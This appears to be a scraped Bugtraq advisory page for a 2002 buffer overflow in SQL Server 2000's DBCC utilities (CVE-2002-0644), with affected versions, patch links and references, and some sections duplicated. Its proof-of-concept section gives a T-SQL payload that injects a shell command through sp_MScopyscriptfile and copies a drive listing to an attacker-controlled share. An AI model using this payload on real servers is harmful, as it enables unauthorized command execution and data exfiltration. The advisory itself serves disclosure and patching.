Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability
BID:5307
Info
Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability
| Bugtraq ID: | 5307 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2002-0644 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 25 2002 12:00AM |
| Updated: | Jul 11 2009 02:56PM |
| Credit: | Discovery credited to Cesar Cerrudo <[email protected]>. |
| Vulnerable: |
Microsoft SQL Server 2000 Desktop Engine Microsoft SQL Server 2000 SP2 Microsoft SQL Server 2000 SP1 Microsoft SQL Server 2000 |
| Not Vulnerable: |
Microsoft SQL Server 2000 SP3 |
Discussion
Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability
Microsoft SQL Server 2000 includes utilities called Database Consistency Checkers (DBCC). Several of these programs contain identical buffer overflows that, when exploited, could allow an attacker to execute arbitrary code with the privilege level of the SQL Server service account.
Microsoft SQL Server 2000 includes utilities called Database Consistency Checkers (DBCC). Several of these programs contain identical buffer overflows that, when exploited, could allow an attacker to execute arbitrary code with the privilege level of the SQL Server service account.
Exploit / POC
Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability
The following exploit was provided by Cesar Cerrudo <[email protected]>:
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ >
"\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' +
@command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''
The following exploit was provided by Cesar Cerrudo <[email protected]>:
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ >
"\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' +
@command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''
Solution / Fix
Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability
Solution:
Fixes available:
Microsoft SQL Server 2000
Microsoft SQL Server 2000 SP1
Microsoft SQL Server 2000 Desktop Engine
Microsoft SQL Server 2000 SP2
Solution:
Fixes available:
Microsoft SQL Server 2000
-
Microsoft sql2ksp3
http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gss nb=1
Microsoft SQL Server 2000 SP1
-
Microsoft sql2ksp3
http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gss nb=1
Microsoft SQL Server 2000 Desktop Engine
-
Microsoft sql2ksp3
http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gss nb=1
Microsoft SQL Server 2000 SP2
References
Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability
References:
References:
- Microsoft Security Bulletin MS02-038 (Microsoft)
- Microsoft SQL Server Homepage (Microsoft)
- Vulnerability Note VU#279323 (CERT/CC)